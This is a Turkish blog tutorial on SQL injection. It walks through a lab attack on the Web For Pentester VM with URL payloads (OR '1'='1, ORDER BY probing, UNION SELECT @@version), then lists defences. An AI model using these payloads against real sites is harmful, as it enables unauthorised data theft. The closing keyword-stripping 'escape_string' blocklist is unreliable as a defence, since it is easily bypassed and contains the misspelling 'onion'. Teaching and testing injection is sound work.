SQL Injection ve SQL Injection'dan Korunma Yöntemleri

1858
SQL Injection, bir web sitesinde veritabanına zararlı SQL komutları enjekte ederek yetkisiz veri erişimi sağlamaya yönelik bir siber saldırı türüdür. Bu saldırıdan korunmak için çeşitli korunma yöntemleri titizlikle uygulanmalıdır.
SQL Injection ve SQL Injection'dan Korunma Yöntemleri - bimakale.com | bimakale.com
22 Temmuz 2024 Pazartesi - 15:43 (3 Ay önce)

SQL Injection Nedir?

SQL Injection, kendi SQL komutlarımızı bir web uygulamasının veritabanına enjekte etmek suretiyle gerçekleştirdiğimiz bir siber saldırı türüdür. Bu saldırının amacı, arka planda çalışan SQL sorgularını manipüle ederek yetkisiz veri erişimi sağlamaktır. Bir SQL injection saldırısı yapabilmek için bir SQL yöneticisi kadar bilgi sahibi olmak gerekmemekle birlikte, veritabanı mantığını ve temel SQL komutlarını anlamak büyük önem taşır.

Temel SQL Injection Adımları

  1. Tablo Kolon Sayısının Bulunması: İlk adım olarak, hedef web uygulamasının arka planda veri çektiği tablonun kolon sayısını bulmalıyız.
  2. Veri Çekme Noktalarının Bulunması: Web uygulamasının çektiği verilerin sayfa içerisinde nerelere yerleştirildiğini belirlemek, ileride veri çekme işlemleri için önemlidir.
  3. Veritabanı İsminin Bulunması: Web uygulamasının kullandığı veritabanının ismini bulmamız gerekiyor.
  4. Tablo İsimlerinin Bulunması: Veritabanı içerisindeki tablo isimlerini bulmalıyız.
  5. Hedef Tablonun Belirlenmesi ve Kolon İsimlerinin Bulunması: Veri çekmek istediğimiz tabloyu belirledikten sonra, bu tablonun kolon isimlerini bulmalıyız.
  6. Veri Çekme: Kolon isimleri belirlendikten sonra, bu kolonlardan veriler çekilir.

Veritabanı Nedir?

En basit anlamıyla, veritabanı belirli bir amaca yönelik düzenlenmiş kayıt ve dosyaların tümüdür. Bir bilgisayar sisteminde çeşitli verileri toplamak ve düzenlemek için kullanılır. Veritabanları, büyük miktardaki kurumsal verileri işlemeyi sağlar ve verilerin doğru girildiğinden emin olmak için çeşitli kontroller içerir.

Temel SQL Komutları

  • SELECT: Veritabanından veri çekmek için kullanılır.
  • WHERE: Koşul belirtmek için kullanılır.
  • ORDER BY: Veriyi kolonlara göre sıralamak için kullanılır.
  • UNION: SQL komutlarını birleştirmek için kullanılır.
  • UPDATE: Veritabanındaki veriyi güncellemek için kullanılır.
  • DELETE: Veritabanındaki veriyi silmek için kullanılır.
  • INSERT INTO: Bir tabloya veri yazmak için kullanılır.
  • CREATE DATABASE: Veritabanı oluşturmak için kullanılır.
  • DROP TABLE: Mevcut bir tabloyu silmek için kullanılır.
  • CREATE TABLE: Yeni bir tablo oluşturmak için kullanılır.
  • ALTER TABLE: Mevcut bir tabloyu güncellemek için kullanılır.
  • ALTER DATABASE: Veritabanını modifiye etmek için kullanılır.
  • CREATE INDEX: Index oluşturmak için kullanılır.
  • DROP INDEX: Index silmek için kullanılır.

Information Schema Nedir?

Information Schema, veritabanındaki tablolar, kolonlar ve diğer yapılar hakkında bilgi tutan özel bir veritabanıdır. SQL Injection saldırılarında sıkça kullanılır çünkü saldırganlar veritabanı yapısı hakkında bilgi edinmek için bu bilgileri kullanabilirler.

  • information_schema.tables: Veritabanındaki tüm tablo isimlerini tutar.
  • information_schema.columns: Veritabanındaki tüm kolon isimlerini tutar.

SQL Injection Saldırısı Yaparken Kullanılan Bazı SQL Fonksiyonları

  • version() veya @@version: Sunucuda çalışan MySQL versiyonunu verir.
  • database() veya @@database: Web uygulamasının veriyi çekerken kullandığı veritabanı ismini verir.
  • user(): Web uygulamasının arka planda SQL sunucusuna bağlanırken kullandığı kullanıcı adını verir.

Uygulamalı SQL Injection Örneği

Web For Pentester Kurulumu ve Kullanımı

Web For Pentester, SQL Injection saldırılarını uygulamalı olarak öğrenmek için kullanabileceğiniz bir sanal makinedir. Bu makineyi PentesterLab linkinden indirebilirsiniz. Kurulum tamamlandıktan sonra, ağ ayarlarından NAT seçeneğini seçin ve makinenin IP adresini ifconfig komutuyla öğrenin.

SQL Injection Örneği 1

Web For Pentester açıldığında karşınıza aşağıdaki gibi bir sayfa gelecektir:

ID: 2
Name: root
Age: 30

URL şu şekildedir: /example1.php?name=root

Bu noktada, arka planda çalışan SQL komutunu tahmin etmeliyiz. Tahminimiz şu şekilde olabilir:

SELECT * FROM users WHERE name='root';

Yani, URL üzerinden gönderdiğimiz name değeri SQL sorgusunun içine yerleştirilerek veritabanından veri çekiliyor.

Kodları açıp inceleyelim:

$sql = "SELECT * FROM users WHERE name='";
$sql .= $_GET['name'];
$sql .= "'";

$result = mysql_query($sql);

while ($row = mysql_fetch_array($result)) {
    echo "ID: " . $row['id'] . "
";
    echo "Name: " . $row['name'] . "
";
    echo "Age: " . $row['age'] . "
";
}

Bu kod parçacığı, URL'den gelen name parametresini SQL sorgusuna ekleyerek kullanıcı bilgilerini çekiyor.

SQL Injection Testi

URL'yi şu şekilde değiştirelim: /example1.php?name=root' OR '1'='1

Arka planda çalışan SQL sorgusu şu şekilde olacaktır:

SELECT * FROM users WHERE name='root' OR '1'='1';

Bu sorgu, 1=1 ifadesi her zaman doğru olduğundan, tüm kullanıcı verilerini getirecektir.

Kolon Sayısını Bulma

Kolon sayısını bulmak için ORDER BY komutunu kullanabiliriz:

/example1.php?name=root' ORDER BY 1 -- -

Sayfa sorunsuz yüklendiğinde, bu tablonun en az bir kolonu olduğunu anlarız. Ardından, ORDER BY komutunu deneme yanılma yöntemiyle artırarak kolon sayısını buluruz:

/example1.php?name=root' ORDER BY 2 -- -
/example1.php?name=root' ORDER BY 3 -- -
...
/example1.php?name=root' ORDER BY 6 -- -

  1. denemede hata alıyorsak, tablonun 5 kolona sahip olduğunu anlarız.

UNION Kullanarak Veri Çekme

Şimdi, UNION komutunu kullanarak veri çekme işlemine geçebiliriz. Örneğin, veritabanı versiyonunu öğrenmek için şu komutu kullanabiliriz:

/example1.php?name=root' UNION SELECT 1, @@version, 3, 4, 5 -- -

Bu komut, veritabanı versiyonunu ikinci kolon olarak çeker ve sayfada gösterir.

Bu örnek, SQL Injection saldırısının temel adımlarını ve nasıl gerçekleştirildiğini göstermektedir. Bu tür saldırılardan korunmak için web uygulamalarının güvenli kodlama yöntemleri kullanılarak geliştirilmesi, kullanıcı girdilerinin dikkatli bir şekilde doğrulanması ve SQL sorgularının parametrik olarak yazılması önemlidir. SQL Injection, güvenlik açıklarından sadece biridir, bu yüzden genel güvenlik farkındalığı ve en iyi uygulamaların takip edilmesi büyük önem taşır.

SQL Injection'dan Korunma Yöntemleri ve Örnekleri

SQL Injection, web uygulamalarının veritabanına yönelik bir güvenlik açığıdır. Bu saldırı türünden korunmak için aşağıdaki yöntemler kullanılabilir:

1. Parametrik Sorgular (Prepared Statements)

Parametrik sorgular, SQL komutlarını ve veri parametrelerini ayrı ayrı işleyerek SQL Injection saldırılarını önler. Bu yöntem, SQL ifadelerini dinamik olarak oluşturmak yerine önceden tanımlanan ve derlenen sorgu şablonlarını kullanır.

Örnek:

PHP PDO kullanarak güvenli bir parametrik sorgu:

$pdo = new PDO('mysql:host=localhost;dbname=testdb', 'username', 'password');
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->execute(['username' => $username, 'password' => $password]);
$user = $stmt->fetch();

Python kullanarak güvenli bir parametrik sorgu:

import sqlite3

conn = sqlite3.connect('example.db')
cursor = conn.cursor()

username = 'user1'
password = 'pass1'

cursor.execute('SELECT * FROM users WHERE username=? AND password=?', (username, password))
user = cursor.fetchone()

2. Kullanıcı Girdilerinin Doğrulanması (Input Validation)

Kullanıcı girdilerinin doğrulanması ve temizlenmesi, sadece beklenen format ve içerikteki verilerin kabul edilmesini sağlar.

Örnek:

Bir form girişi için PHP'de doğrulama:

$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
$password = filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);

Python'da regex ile kullanıcı adı doğrulama:

import re

username = 'user1'
if not re.match("^[a-zA-Z0-9_]*$", username):
    raise ValueError("Invalid username")

3. Veritabanı Haklarının Sınırlandırılması (Least Privilege Principle)

Veritabanı kullanıcılarına sadece ihtiyaç duydukları minimum hakları verin. Örneğin, sadece okuma yapması gereken bir kullanıcıya yazma izni vermeyin.

Örnek:

MySQL'de sadece SELECT yetkisi olan bir kullanıcı oluşturma:

CREATE USER 'readonly_user'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON mydatabase.* TO 'readonly_user'@'localhost';

4. SQL Hatalarının Gizlenmesi

SQL hatalarını kullanıcıya göstermeyin, bu saldırganların sistem hakkında bilgi edinmesini engeller.

Örnek:

PHP'de hata mesajlarını gizlemek:

ini_set('display_errors', 0);
error_reporting(0);

5. Web Uygulama Güvenlik Duvarı (WAF)

WAF, SQL Injection gibi saldırıları algılayarak engelleyen bir güvenlik katmanıdır.

6. Güvenli Kodlama Prensipleri

Her zaman güvenli kodlama prensiplerini takip edin ve düzenli olarak güvenlik testleri yapın.

Örnek:

  • Kod incelemeleri
  • Güvenlik testleri (Penetration testing)

7. Manuel Temizleme Methodu

Proje genelinde kullanabileceğiniz gelen verileri temizleme methodu ekleyebilirsiniz. Verileri kullanmadan önce bu method dan geçirip varsa zararlı içerik temizletebilirsiniz.

function escape_string($inp)
    {
        if (is_array($inp))
            return array_map(__METHOD__, $inp);

        if (!empty($inp) && is_string($inp)) {

            $search = array('\\', "\0", "\n", "\r", "'", '"', "\x1a");
            $replace = array('\\\\', '\\0', '\\n', '\\r', "\\'", '\\"', '\\Z');

            $inp = str_replace($search, $replace, urldecode($inp));

            $controlArr = [
                "show ", "show%20",
                "select",
                "sleep",
                "from",
                "drop",
                "delete",
                "cast",
                "concat",
                "update",
                "case",
                "when",
                " and ", "%20and%20",
                " or ", "%20or%20",
                "then",
                "onion",
                "insert ", "insert%20",
                "mysql",
                "query",
                "alter",
                " table ", "%20table%20",
                "database",
                "create ", "create%20",
                "index",
                "where",
                "char",
                "having",
                "system ", "system%20",
                "version",
                "information_schema"
            ];

            $inp = str_replace($controlArr, "", $inp);

            return $inp;
        }

        return $inp;
    }

 

Bu yöntemler, SQL Injection saldırılarından korunmak için temel adımlardır ve uygulamaların güvenliğini artırmada kritik bir rol oynar.


  • Sql
  • Php



Yorumlar
Sende Yorumunu Ekle
Kullanıcı
0 karakter